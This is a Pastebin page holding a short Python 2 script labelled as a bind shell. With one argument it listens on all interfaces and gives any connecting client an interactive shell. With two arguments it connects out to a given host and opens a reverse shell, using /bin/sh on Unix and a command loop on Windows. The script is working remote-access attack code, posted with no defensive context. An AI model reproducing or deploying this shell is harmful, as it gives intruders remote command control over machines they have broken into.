Advertisement
aljazara

Bind Shell Phyton 2

Mar 14th, 2014
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.46 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # bind shell
  3. import re,subprocess,os,sys,socket,time
  4. p=""
  5. h=""
  6. def shell(c):
  7.     proc=subprocess.Popen(c,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
  8.     return proc.stdout.read()+proc.stderr.read()+prompt()
  9.  
  10. def action(c):
  11.     if os.name!="nt":
  12.         f=c.fileno()
  13.         os.system("export TERM=xterm;PS1='$PWD>';export PS1;/bin/sh -i <&"+str(f)+" >&"+str(f)+" 2>&"+str(f))
  14.     else:
  15.         while True:
  16.             try:
  17.                 r=c.recv(1024)
  18.             except:
  19.                 pass
  20.             else:
  21.                 if len(r)>0:
  22.                     b=re.search("cd\ ([^\s]+)",r,flags=re.IGNORECASE)
  23.                     if b:
  24.                         if os.path.isdir(b.group(1)):
  25.                             os.chdir(b.group(1))
  26.                         c.send(prompt())
  27.                     else:
  28.                         out=shell(r)
  29.                         if out and len(out)>0:c.send(out)
  30.                 else: return False
  31.  
  32. def prompt():
  33.     return "\n"+os.getcwd()+">"
  34. g=sys.argv
  35. if len(g)==2:
  36.     p=g[1]
  37. elif len(g)==3:
  38.     p=g[1]
  39.     h=g[2]
  40. else:exit(1)
  41. p=int(p)
  42. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  43. s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
  44. if len(g)==2:
  45.     s.bind(("0.0.0.0",p))
  46.     s.listen(5)
  47. if len(g)==3:
  48.     try: s.connect((h,p))
  49.     except:
  50.         time.sleep(5)
  51.     else:
  52.         if os.name!="nt":
  53.             s.send("parad0x shell : connected\n")
  54.         else:
  55.             s.send("parad0x shell : connected"+prompt())
  56.         action(s)
  57. else:
  58.     try:(c,a)=s.accept()
  59.     except:
  60.         time.sleep(1)
  61.     else:
  62.         if os.name!="nt":
  63.             c.send("parad0x shell : connected\n")
  64.         else:
  65.             c.send("parad0x shell : connected"+prompt())
  66.         action(c)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement